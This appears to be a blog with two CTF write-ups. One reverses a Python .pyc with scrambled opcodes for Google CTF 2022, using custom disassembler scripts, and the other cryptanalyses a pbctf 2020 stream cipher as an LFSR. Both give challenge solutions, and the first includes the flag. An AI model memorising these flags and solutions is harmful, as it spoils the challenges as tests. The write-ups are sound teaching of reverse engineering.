Jay Bosamiya

Mixed (Google CTF 2022)

2022-08-05T00:00:00+00:00

A byte-compiled Python file, with a patch to the cpython source showing that the opcodes have been scrambled. Let's go!

Mixed was a really fun challenge from the recent Google CTF, that zaratec and I worked on together, each focusing on a different aspect. You can find her write-up here, which covers a lot more about the pattern recognition side of things that I skim over.

Problem Description

We are given two files (x.pyc and patch) and the challenge description:

A company I interview for gave me a test to solve. I'd decompile it and get the answer that way, but they seem to use some custom Python version... At least I know it's based on commit 64113a4ba801126028505c50a7383f3e9df29573.

Early Analysis

Since we are told that it is a custom Python version and that existing decompilers wouldn't work, it is not worth spending time early on to get a decompiler working. Instead, we jumped right into understanding the patch. As a tiny precursor to that, mostly to save some time since it involves compiling Python from scratch, we set up a local environment while still looking at the patch.

The CPython source repository at the relevant commit shows that it is a fairly recently commit, Python 3.11 alpha 7. Also, since we have to deal with a byte-compiled Python .pyc file, which is often version dependent, it's best we get a nearby version (or preferably the exact commit). Since it is faster to pull a nearby version, I did that (using pyenv: pyenv install 3.11.0b3 and pyenv local 3.11.0b3), and then kicked off a compilation of the specific commit, after applying the patch. Our aim here is to get some reasonable environment set up quickly, and refine it as time goes, if necessary.

Looking at the patch itself, it patches just two files, Lib/opcode.py, and a tiny change to Python/ceval.c, to disable an optimization called "computed gotos". We can largely ignore this change to ceval.c since it is not a functionality change (to keep the optimization enabled, the challenge author would've needed to patch more files, so our guess is that it was easier to just disable the optimization; we do not believe this changes the challenge's difficulty though, other than reducing the size of the overall patch).

Looking at the patch to opcode.py itself, we see that it replaces out the pre-defined opcode numbers for various opcodes with a random permutation. This permutation is split into two parts: perm permutes the first 90 possible opcode values, while perm2 permutes amongst the next 110. This split reduces the space of permutations possible, simplifying the challenge, but (at least at the moment) not by much. In particular, we are still not in brute-force-able range. However, this separation of upto 90 vs. above 90 comes in handy later on, to help provide sanity checks throughout the code.

Why 90 in particular though? Looking at the source is helpful here:

HAVE_ARGUMENT = 90              # Opcodes from here have an argument:

The last bit of the patch stores the permuted opcodes away to /tmp/opcode_map but since we don't have that, we can ignore it.

Another good thing to check for before going much further: use the command strings which can find printable strings within a binary file. A few selected interesting lines from running strings x.pyc are listed below:

random
seedZ
randint
E/usr/local/google/home/xxxxxxxxx/yyyy/zzzzzzzzzzzzzzzz/xxxxxxxxxxx.py
Thanks for playing!r
game1.<locals>.w
Fuel:r
wasdz
Crash!r
Nice!)
game1r1
Math quiz time!)
difference
productr
ratio
remainder from division
What is the %s of %d and %d?r2
game2rD
Speed typing game.z
  Text: Because of its performance advantage, today many language implementations
%0.2f seconds left.
time
game3rO
Nz!Pass 3 tests to prove your worth!z
seed:
:zGYou can drive to work, know some maths and can type fast. You're hired!z
Your sign-on bonus:s2
decoder
mainrR
<module>rS

From just these few lines, we can gather that there are 3 games ("drive to work", "know some maths", and "type fast"), that they're likely defined as functions game1, game2, and game3 respectively, and that there is a function main that runs those 3, and potentially runs a "decoder". We also see indications that there might be the use of the Python standard library random.seed, which indicates that the built in pseudo random number generator (PRNG) is used, but that it likely has the same output each time (since we don't see a os.urandom or time.time or similar nearby).

Divide and Conquer

We now had an approximate idea of what the challenge involved, and what we might need to do to figure it out. Specifically, as soon as we were able to recover what opcode number each operation was mapped to, we would be able to run the binary (modulo a tiny patch to CPython, replacing the random permutation in the patch with instead a hard-coded set of values). We weren't sure however, if being able to run the binary would be sufficient, so we would likely need a decompiler, or at the very least, a disassembler. Thus, there were two main tasks: identify opcodes, and implement a disassembler.

Thus, zaratec and I took up those tasks respectively. Her task of identifying opcodes through ~~witchcraft~~ pattern recognition and smart guessing is probably best understood by this wonderful sentence she wrote: "you just gotta feel the bytecode". I personally focused on tooling, specifically to try to make her task easier, and hopefully be able to decompile this x.pyc. This allowed each of us to focus on complementary tasks but still allowed us to work largely independently.

It is also interesting to note here, that we don't need a full-blown decompiler, we just needed to decompile x.pyc. This allows for a simpler approach of generating a particular x.py such that it compiles approximately to x.pyc (using, say, python3 -m compileall x.py). Thus, a large part of pattern recognition involved compiling progressively improved test files, and checking against the output.

The Unfortunate `dis`

Python has an built-in disassembler called dis. Given a code object, it will disassemble it to produce, for lack of a better term, Pythonic-assembly. Unfortunately, we do not have known values for the opcodes, so it is almost guaranteed to produce garbage early on. However, our aim is to improve upon dis, by using the guesses for opcode values we provide, to produce x.pyc disassembly of high-enough quality that we can then match it against the compiled-and-disassembled version of our test Python file.

It seemed like dis would be an ideal starting point to write a disassembler that worked and got us past the finish line. Yet it turned out to be more annoying than I had initially guessed for a variety of reason, so eventually I decided to abandon this approach, and write my own custom disassembler from scratch. But I'm getting ahead of myself, let's talk more about the dis-based disassembler.

Sidenote: by default, the dis link you get from a search engine points at 3.10, as of writing (since 3.11 has not yet released). We need 3.11 though, which we can get to by clicking on the version number in the top left; the link here jumps directly to 3.11. We did not realize this early enough, but there are significant changes between 3.10 and 3.11, and noticing this earlier would've helped speed up some of our work. We weren't slowed too much by the differences though, thankfully, and we figured out the differences just when they started to matter.

Initial Wins

While I was still working on getting dis running, zaratec seemed to have already started recognizing some patterns by staring at a hexdump, and sent over the following:

guesses:
* 96 (0x60): LOAD_CONST
* 171 (0xAB): IMPORT_NAME
* 150 (0x96): STORE_NAME
this is the pattern for imports at the beginning of the file

Recognizing that looking at the opcodes in the output would be crucial, and also that we'd likely want to be able to quickly test changes, I wrote up a patch to dis.py and (the aforementioned) opcode.py:

diff --git a/Lib/dis.py b/Lib/dis.py
index 205e9d8d19..aabaf37183 100644
--- a/Lib/dis.py
+++ b/Lib/dis.py
@@ -310,6 +310,8 @@ def _disassemble(self, lineno_width=3, mark_as_current=False, offset_width=4):
             fields.append('  ')
         # Column: Instruction offset from start of code sequence
         fields.append(repr(self.offset).rjust(offset_width))
+        # Column: Opcode number
+        fields.append(str(self.opcode).rjust(5))
         # Column: Opcode name
         fields.append(self.opname.ljust(_OPNAME_WIDTH))
         # Column: Opcode argument
diff --git a/Lib/opcode.py b/Lib/opcode.py
index 40b6fdd2e0..01ab16a5b7 100644
--- a/Lib/opcode.py
+++ b/Lib/opcode.py
@@ -61,10 +61,23 @@ def jabs_op(name, op, entries=0):
 perm2 = list(range(200-90))

 import sys
-if "generate_opcode_h" in sys.argv[0]:
-  random = __import__("random")
-  random.shuffle(perm)
-  random.shuffle(perm2)
+import os
+if os.getenv("RANDOMIZE"):
+    print("randomizing now")
+    random = __import__("random")
+    random.shuffle(perm)
+    random.shuffle(perm2)
+elif os.getenv("FROMFILE"):
+    print("reading from file")
+    with open('./opcode_map') as f:
+        data = [int(x.split(' ')[0]) for x in f.read().strip().split('\n')]
+        perm = data[:len(perm)]
+        perm2 = [x - 90 for x in data[len(perm):][:len(perm2)]]
+        assert len(perm) == len(range(90))
+        assert len(perm2) == len(range(200 - 90))
+        del data
+else:
+    print("not randomizing")

 def_op('CACHE', perm[0])
 def_op('POP_TOP', perm[1])

This patch would allow us to use a hand-written ./opcode_map file (literally a map from numbers to opcode names) by invoking FROM_FILE=1 ./cpython/python.exe ./disassembly.py ./x.pyc, using disassembly.py:

import sys
import dis
import marshal

with open(sys.argv[1], 'rb') as f:
    f.seek(16)
    m = marshal.load(f)
    print(m.co_code)
    dis.dis(m)

This already started giving us a more readable (albeit incorrect) view on the data we were seeing.

Soon after, zaratec recognized that x.pyc would load 3 modules, create 7 functions.

We were making nice progress!

Managing Guesses

As I got new guesses, I would manually edit the ./opcode_map file I mentioned earlier, but this was inefficient, so I whipped up a small tool, set.py:

import sys
import time

with open('./opcode_map.bak') as f:
    data = [x.split(' ') for x in f.read().strip().split('\n')]

known = {
    97: 'RESUME',
    96: 'LOAD_CONST',
    171: 'IMPORT_NAME',
    151: 'STORE_NAME',
    99: 'MAKE_FUNCTION',
    49: 'RETURN_VALUE',
}

for opnum, opcode in known.items():
    print(opnum, opcode)
    idx_name = [i for i, (x, y) in enumerate(data) if y == opcode][0]
    idx_op = [i for i, (x, y) in enumerate(data) if int(x) == opnum][0]
    data[idx_name][0], data[idx_op][0] = data[idx_op][0], data[idx_name][0]

with open(f'./opcode_map', 'w') as f:
    f.write('\n'.join(' '.join(x) for x in data))

This tool would allow us to add stuff to the known set, allowing for quick testing without needing to manually mess around with the semi-fragile opcode_map file. By this point, I've already added a few more guesses we'd got.

However, soon it became hard to keep track of the quality of the guesses. Specifically, which guesses were high-quality "we practically can guarantee this is valid" and which ones were "idk, try this and see if it helps". Thus, I decided to patch dis.py yet again:

diff --git a/Lib/dis.py b/Lib/dis.py
index 205e9d8d19..f3284edf92 100644
--- a/Lib/dis.py
+++ b/Lib/dis.py
@@ -290,6 +290,16 @@ def _disassemble(self, lineno_width=3, mark_as_current=False, offset_width=4):
         *mark_as_current* inserts a '-->' marker arrow as part of the line
         *offset_width* sets the width of the instruction offset field
         """
+        with open('semitrusted', 'r') as f:
+            semitrusted = f.read().split('\n')
+        with open('trusted', 'r') as f:
+            trusted = f.read().split('\n')
+        if self.opname in trusted:
+            guess = ''
+        elif self.opname in semitrusted:
+            guess = '?'
+        else:
+            guess = '??'
         fields = []
         # Column: Source code line number
         if lineno_width:
@@ -310,8 +320,10 @@ def _disassemble(self, lineno_width=3, mark_as_current=False, offset_width=4):
             fields.append('  ')
         # Column: Instruction offset from start of code sequence
         fields.append(repr(self.offset).rjust(offset_width))
+        # Column: Opcode number
+        fields.append(str(self.opcode).rjust(5))
         # Column: Opcode name
-        fields.append(self.opname.ljust(_OPNAME_WIDTH))
+        fields.append((guess + self.opname).ljust(_OPNAME_WIDTH))
         # Column: Opcode argument
         if self.arg is not None:
             fields.append(repr(self.arg).rjust(_OPARG_WIDTH))
@@ -381,7 +393,11 @@ def _get_name_info(name_index, get_name, **extrainfo):
        and an empty string for its repr.
     """
     if get_name is not None:
-        argval = get_name(name_index, **extrainfo)
+        try: # TEMP TEMP TEMP
+            argval = get_name(name_index, **extrainfo)
+        except IndexError: # TEMP TEMP TEMP
+            print(f"IndexError for get_name({name_index=}, {get_name=}, {extrainfo=})")
+            return UNKNOWN, ''
         return argval, argval
     else:
         return UNKNOWN, ''

This allowed us to keep track of files named trusted and semitrusted that we could dump opcodes into. Additionally, with all the guesses that we had, we had started getting weird flakiness in the disassembler, thus I added some "error handling" too (that would convert to a soft error but continue going).

As a snapshot of what we were guessing at the time, set.py:

import sys
import time

def assert_same_boundary(x, y):
    x = int(x)
    y = int(y)
    assert (x < 90) == (y < 90), f'{x=} {y=}'

with open('./opcode_map.bak') as f:
    data = [x.split(' ') for x in f.read().strip().split('\n')]

known = {
    # Mostly figured out
    97: 'RESUME',
    96: 'LOAD_CONST',
    171: 'IMPORT_NAME',
    151: 'STORE_NAME',
    99: 'MAKE_FUNCTION',
    49: 'RETURN_VALUE',

    # Random guesses
    # 98: 'LOAD_GLOBAL',
    32: 'CACHE',
    # 50: 'LOAD_GLOBAL_BUILTIN',
    142: 'PRECALL',
    107: 'CALL',

    # Change away random shit
    48: 'GET_AITER',
    99: 'DELETE_GLOBAL',
}

semitrusted = set([
    # 'LOAD_GLOBAL',
    'LOAD_GLOBAL_BUILTIN',
    'CACHE',
    'PRECALL',
    'CALL',
])
untrusted = set([
    'GET_AITER',
    'DELETE_GLOBAL',
])

with open('trusted', 'w') as f:
    f.write('\n'.join(list(set(known.values())-semitrusted-untrusted)))
with open('semitrusted', 'w') as f:
    f.write('\n'.join(list(semitrusted)))

for opnum, opcode in known.items():
    print(opnum, opcode)
    idx_name = [i for i, (x, y) in enumerate(data) if y == opcode][0]
    idx_op = [i for i, (x, y) in enumerate(data) if int(x) == opnum][0]
    assert_same_boundary(data[idx_op][0], data[idx_name][0])
    data[idx_name][0], data[idx_op][0] = data[idx_op][0], data[idx_name][0]

with open(f'./opcode_map', 'w') as f:
    f.write('\n'.join(' '.join(x) for x in data))

Something is Odd

zaratec had mentioned a couple of times that some bytes within the disassembly and the hexdump had not matched (indeed, we often saw extraneous bytes). This had began quite a while before the snapshot above. I had initially chalked these oddities up to "something going weird with the disassembler since we are changing opcodes while a disassembler running using those opcodes is being modified". I thought this would fix itself as we discovered more opcodes. However, it had started to become quite painful to keep track of this, thus I decided to root-cause where those bytes were coming from.

Interestingly, those bytes were not coming from dis behaving weirdly, or even dis reading from opcodes.py. Instead, the input that dis was receiving itself was incorrect, and was a lie. Following through further, it appeared that marshal, a C module that serializes/parses the bytes from/into Python objects was giving us bad bytes. Furthermore, this seemed to be impacted by the opcodes.py file itself.

I was in no mood to modify C code to get the marshal to work better, nor was I sure what other interactions might happen in doing so, since it was a cross-language interaction that was behaving weirdly. It was quite late at night too, and as one knows, late night is the worst time to write C, apart from all the other ones.

Thus, I decided it was time to write my own custom disassembler from scratch!

New Beginnings

This new disassembler, known manual_disassemble.py even though I should've named it custom_disassembler.py or something (oh, the perils of naming something when sleepy), was designed to learn from the experiences of working with dis. However, it didn't need to be as generic as dis itself. Instead, it could be as x.pyc-specific as we wanted.

Thus, I asked zaratec to provide me with a list of offsets of where the functions are (I couldn't trust marshal, not even an unmodified Python3 instance of marshal, just in case some opcode permutation would mess with it). Through some pattern recognition, she gave me such a list, which I hard-coded into the custom disassembler. I later, at one point, noticed a stray code object w, which was interesting to discover to be a function defined within a function.

With this, we now had the beginnings of a custom disassembler manual_disassembly.py:

from pwn import *

context.endian = 'little'

with open('./x.pyc', 'rb') as f:
    pyc = f.read()

func_starts = {
    'Global': 0x2a,
    'ks': 0x94,
    'cry': 0x20e,
    'fail': 0x370,
    'game1': 0x489,
    'w': 0x7a2, # tentatively defined inside game1
    'game2': 0xc0c,
    'game3': 0x105f,
    'main': 0x1654,
}

known_ops = {
    # opnum: (name, hasArg)
    96: ('LOAD_CONST', True),
    171: ('IMPORT_NAME', True),
    150: ('STORE_NAME', True),
    99: ('MAKE_FUNCTION', True),
    49: ('RETURN_VALUE', True),
    97: ('RESUME', False),
    185: ('LOAD_GLOBAL', True),
    188: ('LOAD_ATTR', True),
    191: ('PRECALL', True),
    142: ('CALL', True),
    1: ('POP_TOP', True),
}

global_vals = {
    0: 'print',
    2: 'sys',
}

for funcname, funcstart in func_starts.items():
    print(f'{funcname}:')
    codelen = u32(pyc[funcstart - 4:][:4])
    code = pyc[funcstart:][:codelen]
    nops = 0
    idx = 0
    while idx < len(code):
        op = u8(code[idx:][:1])
        arg = u8(code[idx+1:][:1])
        if op == 32 and arg == 0:
            nops += 1
            idx += 2
            continue
        elif nops > 0:
            print(f'  ...{nops} nops...')
            nops = 0
        if op in known_ops:
            opname, hasargs = known_ops[op]
            if opname == 'CALL':
                print(f'  {op}\t{opname} with {arg} arguments')
            elif opname == 'PRECALL':
                print(f'  {op}\t{opname} with {arg} arguments')
            elif opname == 'LOAD_GLOBAL':
                if arg in global_vals:
                    print(f'  {op}\t{opname} {arg} ({global_vals[arg]})')
                else:
                    print(f'  {op}\t{opname} {arg} (?????)')
            elif hasargs:
                print(f'  {op}\t{opname} {arg}')
            else:
                if arg == 0:
                    print(f'  {op}\t{opname}')
                else:
                    print(f'  WEIRD: {opname} unexpected arg {arg} ({funcname} : {hex(funcstart+idx)})')
        else:
            print(f'  {op}\t<{op}>')
        idx += 2
    print()

This allowed us to more easily and quickly improve on the quality of output, and as we discovered more about the opcodes, the output would incrementally improve.

I should note that Python's byte-code uses a stack-based architecture, and thus we do not need to worry about registers and such. It would help to keep better track of the stack itself, if say one were building a decompiler, but due to our "recompile to same" style of manual decompilation, I decided not to bother with keeping track of stack effects.

It had gotten even further late into the night though, and we were tired, so we wrote a message on our Discord that we would finish this challenge when awake again.

Coffee Gives You Energy

Once awake and fully caffeinated, we could begin work on improving this more!

zaratec discovered binary operations, and this started improving the output quite a bit.

I also decided to start trusting marshal and dis a tiny bit. Specifically, since the opcode permutation only affects opcodes, it would be fine to reuse non-opcode aspects. Additionally, I was only using them to provide debug output, and not impact the actual disassembly. This way, these modules stays untrusted for the most part, and cannot affect things too negatively.

I also improved the readability of the output a little. Quality of life improvements are often worth it in how much they speed up noticing patterns.

diff --git a/manual_disassemble.py b/manual_disassemble.py
index f8cf184..1574964 100644
--- a/manual_disassemble.py
+++ b/manual_disassemble.py
@@ -1,17 +1,29 @@
 from pwn import *
+import marshal
+import dis

 context.endian = 'little'

 with open('./x.pyc', 'rb') as f:
     pyc = f.read()

+mod = marshal.loads(pyc[16:])
+code = type(mod)
+funcs = {
+    x.co_name: x
+    for x in mod.co_consts
+    if isinstance(x, code)
+}
+funcs[mod.co_name] = mod
+funcs['w'] = funcs['game1'].co_consts[1]
+
 func_starts = {
-    'Global': 0x2a,
+    '<module>': 0x2a,
     'ks': 0x94,
     'cry': 0x20e,
     'fail': 0x370,
     'game1': 0x489,
-    'w': 0x7a2, # tentatively defined inside game1
+    'w': 0x7a2,
     'game2': 0xc0c,
     'game3': 0x105f,
     'main': 0x1654,
@@ -30,48 +42,97 @@ known_ops = {
     191: ('PRECALL', True),
     142: ('CALL', True),
     1: ('POP_TOP', True),
+    198: ('BINARY_OP', True),
+    98: ('LOAD_FAST', True),
+    0x8d: ('STORE_FAST', True),
 }

-global_vals = {
-    0: 'print',
-    2: 'sys',
+guess_ops = {
+    # TODO TODO
+}
+
+binary_ops = {
+    0: 'ADD',
+    1: 'AND',
+    2: 'FLOOR_DIVIDE',
+    3: 'LSHIFT',
+    4: 'MATRIX_MULTIPLY',
+    5: 'MULTIPLY',
+    6: 'REMAINDER',
+    7: 'OR',
+    8: 'POWER',
+    9: 'RSHIFT',
+    10: 'SUBSTRACT',
+    11: 'TRUE_DIVIDE',
+    12: 'XOR',
+    13: 'INPLACE_ADD',
+    14: 'INPLACE_AND',
+    15: 'INPLACE_FLOOR_DIVIDE',
+    16: 'INPLACE_LSHIFT',
+    17: 'INPLACE_MATRIX_MULTIPLY',
+    18: 'INPLACE_MULTIPLY',
+    19: 'INPLACE_REMAINDER',
+    20: 'INPLACE_OR',
+    21: 'INPLACE_POWER',
+    22: 'INPLACE_RSHIFT',
+    23: 'INPLACE_SUBTRACT',
+    24: 'INPLACE_TRUE_DIVIDE',
+    25: 'INPLACE_XOR'
 }

 for funcname, funcstart in func_starts.items():
-    print(f'{funcname}:')
+    f = funcs[funcname]
+    print(f'{funcname}({",".join(f.co_varnames[:f.co_argcount])}):')
+    print('\n'.join('\t' + x for x in dis._format_code_info(f).split('\n')))
+    line_starts = {line:offset for line,offset in dis.findlinestarts(f)}
     codelen = u32(pyc[funcstart - 4:][:4])
     code = pyc[funcstart:][:codelen]
     nops = 0
     idx = 0
     while idx < len(code):
+        if idx in line_starts:
+            print(f' {line_starts[idx]}')
         op = u8(code[idx:][:1])
         arg = u8(code[idx+1:][:1])
-        if op == 32 and arg == 0:
+        if op == 32:
+            assert arg == 0
             nops += 1
             idx += 2
             continue
         elif nops > 0:
-            print(f'  ...{nops} nops...')
+            # print(f'  ...{nops} nops...')
             nops = 0
         if op in known_ops:
             opname, hasargs = known_ops[op]
             if opname == 'CALL':
-                print(f'  {op}\t{opname} with {arg} arguments')
+                print(f'    {op:>02x} {arg:>02x}\t{opname} with {arg} arguments')
             elif opname == 'PRECALL':
-                print(f'  {op}\t{opname} with {arg} arguments')
+                print(f'    {op:>02x} {arg:>02x}\t{opname} with {arg} arguments')
             elif opname == 'LOAD_GLOBAL':
-                if arg in global_vals:
-                    print(f'  {op}\t{opname} {arg} ({global_vals[arg]})')
+                assert arg % 2 == 0
+                print(f'    {op:>02x} {arg:>02x}\t{opname} {arg} ({f.co_names[arg//2]!r})')
+            elif opname == 'LOAD_CONST':
+                print(f'    {op:>02x} {arg:>02x}\t{opname} {arg} ({f.co_consts[arg]!r})')
+            elif opname == 'LOAD_ATTR':
+                print(f'    {op:>02x} {arg:>02x}\t{opname} {arg} ({f.co_names[arg]!r})')
+            elif opname == 'STORE_NAME':
+                print(f'    {op:>02x} {arg:>02x}\t{opname} {arg} ({f.co_names[arg]!r})')
+            elif opname in ['LOAD_FAST', 'STORE_FAST']:
+                vartyp = 'arg' if arg < f.co_argcount else 'var'
+                print(f'    {op:>02x} {arg:>02x}\t{opname} {arg} ({vartyp} {f.co_varnames[arg]!r})')
+            elif opname == 'BINARY_OP':
+                if arg in binary_ops:
+                    print(f'    {op:>02x} {arg:>02x}\t{opname} {arg} ({binary_ops[arg]})')
                 else:
-                    print(f'  {op}\t{opname} {arg} (?????)')
+                    print(f'    {op:>02x} {arg:>02x}\t{opname} {arg} (?????)')
             elif hasargs:
-                print(f'  {op}\t{opname} {arg}')
+                print(f'    {op:>02x} {arg:>02x}\t{opname} {arg}')
             else:
                 if arg == 0:
-                    print(f'  {op}\t{opname}')
+                    print(f'    {op:>02x} {arg:>02x}\t{opname}')
                 else:
-                    print(f'  WEIRD: {opname} unexpected arg {arg} ({funcname} : {hex(funcstart+idx)})')
+                    print(f'  WEIRD: {opname} unexpected arg {arg:>02x} ({funcname} : {hex(funcstart+idx)})')
         else:
-            print(f'  {op}\t<{op}>')
+            print(f'    {op:>02x} {arg:>02x}\t<{op}> <{arg}>')
         idx += 2
     print()

First Perfect Decompilation

With this disassembler, we soon had our perfect bytecode matching function. While tiny, it represented a significant milestone. We were almost done.

def w(m,i,j):
        return (m >> (i*10 + j)) & 1

Since we were now able to get perfect decompilation in some places, I considered the disassembler to be in a good enough state that I would start decompiling functions by hand, in-parallel to zaratec. We focused on different functions each, so as to not unnecessarily waste time.

Manual Decompilation

Progress now was very fast, with messages on Discord flowing left and right.

f0xtr0t:

69: yield. Nice

    130: ('BUILD_TUPLE', True),
    117: ('??CONTAINS_OP', True),

zaratec:

116: ('BUILD_LIST', True),

f0xtr0t:

    31: ('GET_ITER', False),
    182: ('FOR_ITER', True),
    27: ('NOP', False),

zaratec:

123: ('JUMP_BACKWARD', ...)

...and so on...

I had not completely stopped improving the disassembler though; each bit that we correctly decompiled gave ideas on how to improve quality-of-life features. I will skip giving a blow-by-blow list of these changes, and instead give the final disassembler at the end.

Tangent: Discovering Python Style Guide Non-Compliance

As an interesting tangent, we discovered that the author of the challenge did not strictly adhere to the style guidelines that Python prescribes, known as PEP-8. In particular, we discovered that the challenge author used 2-space indents, rather than 4-space indents as required for PEP-8 compliance.

Usually, it is hard to detect source-level style information from the byte-compiled .pyc, since the compilation process (intentionally) throws away details like indentation. Specifically, the byte code has no notion of how indented code is (indeed, even conditions and loops are desugared to goto-like jumps at the point, so the code is no longer structured).

However, strings must be maintained verbatim, and multi-line strings in Python are not auto-unindented (instead, they have the full whitespace prefix maintained on each line). game3 in particular contains what appears to be such a multi-line string (it could be a long string with the extremely unusual "\n foo\n bar\n ", but it is much more likely to be a multi-line string, especially given what we could discover about line numbers from the disassembly, and where the code right after it is). When decompiled, prefix of the game3 function looks exactly like this:

def game3(s):
  print("Speed typing game.")
  t = time.time()
  text = '''
  Text: Because of its performance advantage, today many language implementations
  execute a program in two phases, first compiling the source code into bytecode,
  and then passing the bytecode to the virtual machine.
  '''
  ...

Since the string in text is indented exactly by two spaces, we can infer that the code itself must've been indented by two spaces. After the contest, if we look at the source published by the challenge author, indeed it is two-space indented :D

Anyways, while interesting, this was a interesting tangent. Back to the main story.

More Opcode Reversing

By this point, we had a lot of opcodes figured out, and were just getting final few details right. To make this easier, I added a ranked list of unknown opcode values to the disassembler to make it easier to figure out more faster. I also added a view to make it easier to see where jumps were pointing to as direct line numbers, rather than bytecode offsets.

Finally, we had decompiled x.pyc, and could run the game. Of course, we patched out the typing speed check, because we can't type that fast, but otherwise, we could run it as is, and it dumped the flag.

Flage! and Closing Thoughts

Finally, now that we had solved the game, we had a flag:

CTF{4t_l3ast_1t_w4s_n0t_4n_x86_opc0d3_p3rmut4tion}

Indeed, indeed!

Although now I wonder, how fun would it be to solve an x86 opcode permutation challenge? It'd definitely be a harder challenge, but also, with known compiler settings, it'd likely be in the realm of feasibility.

All in all, this was a really fun challenge, and I'm glad I solved it with zaratec, whose expertise neatly complemented my own, and worked out really well to solve this challenge.

This challenge was a nice mix of what makes reverse engineering so interesting and fascinating. It exemplifies the highly scientific yet creative nature of RE, which involves making hypotheses via creative leaps and guesses, and then validating those hypotheses (usually with tooling to help) to make further progress at a better understanding of the system at hand.

Looking forward to what next year's Google CTF brings!

Oh, and if you're looking for the final disassembler, or our final decompiled code just click on the respective links.

Finally, I leave you with some output produced by the disassembler. Cheers!

crypto🔨 (pbctf 2020)

2020-12-10T00:00:00+00:00

We need to recover the flag from a file that has been encrypted using a random 40000 byte long key using a custom encryption routine, using only the 1 known ciphertext. Overall I found this challenge to be quite interesting and well designed. Only 3 teams solved it over the course of the 48 hour contest (organized by Perfect Blue), and it had a final score of 443 points. This post describes how I solved it during the CTF.

If you simply want to read the solution script, you can find it here. However, if you want to understand how we can get there, let's begin!

Problem Description

We are given two files (encrypt.cc and flag.iso.enc) and the challenge description:

Can you crack a 40000 bit key? 🤨

The encrypted flag is a 1,052,672 byte (~1MB) file, and its file extension likely indicates that it is an encrypted version of an ISO Optical Disc Image file. Clearly, it has been encrypted via encrypt.cc, so let us have a look at its code.

Understanding the Encryption and Planning an Attack

The main function of encrypt.cc simply creates a CSPRNG object named p with a key size of 40000. It then repeatedly bitwise XORs the input with a newly produced value from p, and outputs this result. This means that the code is operating as a stream cipher. There are a collection of attacks that apply generally over most stream ciphers, but certain special conditions might need to apply for their use. For example, a XOR-based stream cipher (such as what we have here) is susceptible to bit-flipping attacks; however we are working as a purely passive adversary with only 1 known ciphertext, so the number of possible attacks are dramatically fewer. In particular, the only real attack we have is that the PRNG (pseudo random number generator) is somehow "broken" and the key stream produced from it can be recovered.

Thus we must dive into the implementation of the CSPRNG class, which is templated on N, the size of its key and its internal state in bytes. The state maintained by the CSPRNG is:

char m_key[N];
char m_state[N];
int m_ofs;

As part of its initialization, it sets m_ofs to 0, and assigns m_key and m_state via getrandom from sys/random.h, which means the initial state is (for our purposes) fully random. This means that the attack must lie in how the PRNG produces its random numbers. This is in the method called next():

char next()
{
    char o = 0;
    for (int i = 0; i < N; i++) {
        o ^= m_state[(m_ofs+i)%N]&m_key[(i)%N];
    }
    m_state[m_ofs++] = o;
    m_ofs = (m_ofs+1)%N;
    return o;
}

The first thing that stands out is that m_ofs is incremented twice (both as a post-increment when setting m_state[m_ofs++], and as an explicit addition-and-set in the next line). Since N is odd, this means that only half the number of bytes of m_state are changing as next() is called over time, and the other half remain unchanged throughout the code. This is not yet enough for us to attack the system, however.

The next thing to notice is that the m_key is never changed (thus we can treat it as an unknown but completely constant value for our purposes, since we are only analyzing a single ciphertext), and that it is only m_state that changes. Thus the total maximum internal state of the RNG is ~20,002 bytes (20,000 bytes for m_state and ~15 bits for the m_ofs to store even numbers between 0 and 40,000). This is fairly large. If this was (much) smaller, we may have ended up with a PRNG with a small fixed period which we could then have applied statistical techniques on the ciphertext to recover the plaintext. Unfortunately, this attack is not applicable in this challenge.

And so, we look into how the state is actually being stored and how the random data is being computed. We notice that all the operations that are being performed on o and m_state are bitwise operations (i.e., bitwise AND & and bitwise XOR ^). Without any shifts, rotates, additions, multiplications, etc., there is no way for different bits of each byte to interact amongst each other, and each bit position can be treated completely independently. Thus, we can reimagine this PRNG (that produces bytes) as 8 separate (independent) PRNGs (that produce bits). Each of them have their own initial starting state (of m_state and m_key) that is independent from one another, and consists of 40,000 + 40,000 bits of information, with a state size of ~20,000 bits each.

Recognizing the PRNG

At this point, we know that we have to defeat a PRNG that produced bits and must start to sketch out what the PRNG is actually doing. For this, we take a smaller sized state (say 10 bits) and sketch out what each next() operation would look like. We find that the key strictly acts like a selection (since it is an & with either a 0 or a 1) of bits of the state that are XOR'd with each other, and then placed into one of the bits, and then the offset is moved over, and the process repeats.

Instead, if we think of the offset not changing, we can model it by rotating m_state towards the left by 2 (because of the double increment that we noticed earlier) upon each call of next().

Visualized this way, this looks suspiciously like a Linear-Feedback Shift Register (or LFSR for short). It is not exactly an LFSR because an LFSR would shift by 1 each time, but it is close enough that we can probably use similar attacks as can be used on an LFSR. Let's name this PRNG a "doubly-shifted-LFSR" (this is my own name for it, since I am not aware of a commonly known name for it; if you are aware of one, please do let me know!).

Attacking the Doubly-Shifted LFSR

At this point, I was curious as to whether we could show a perfect equivalence between this doubly-shifted-LFSR and a normal LFSR. If we could show this equivalence, then we would be able to directly use LFSR attacks on it, without needing to adapt them at all. My hypothesis for this came from the fact that if we had the key at all odd places in the doubly-shifted LFSR as either all 0s or all 1s, then we would immediately have an LFSR of half the size as the doubly-shifted LFSR (in the 0 case, those parts of the state are completely ignored; and in the 1 case, it leads to a constant that gets XOR'd with the state at each point, which can be modeled by an LFSR).

To convince ourselves that this is indeed the case, we can implement the doubly-shifted LFSR in Python, and also implement a standard LFSR recovery program (described soon), and use this to try to recover the minimal LFSR from the doubly-shifted LFSR's output. As it turns out, it is indeed possible to recover an N-bit LFSR for any N-bit doubly-shifted LFSR (at least as far as a few dozen tests with random initial states and varying values of N showed). At times, it may even recover a smaller LFSR, which can happen when (say) there was some sort of pattern to the key & state in the odd-indexed positions (like the all 0s or all 1s pattern mentioned above). While we haven't yet proven that this is the case, it is a safe enough assumption to make that a doubly-shifted LFSRs are equivalent to standard LFSRs, and we can proceed with attacking it as if it is simply a standard LFSR. If (for any reason) this assumption ends up failing, we will simply have to look for a new way to attack it. Thankfully the assumption holds at least in our case.

To recover the minimal LFSR for a specific output bitstream, one can use the Berlekamp-Massey algorithm. This algorithm provides the minimal linear recurrence that generates the exact same output bitstream as was given as input to the algorithm. To be able to recover an N bit LFSR, we require (at least) 2*N bits of output. Thus, if we are able to obtain 2*N bits of the key stream, we can recover the fully structure of the LFSR in the challenge. Since LFSRs are invertible, we can move forwards and backwards in the LFSR to obtain any other portion of the keystream we want/need once we have recovered its internal structure. Due to this forward and backward nature, any 2*N continuous bits are sufficient to obtain its structure and to recover the entire keystream.

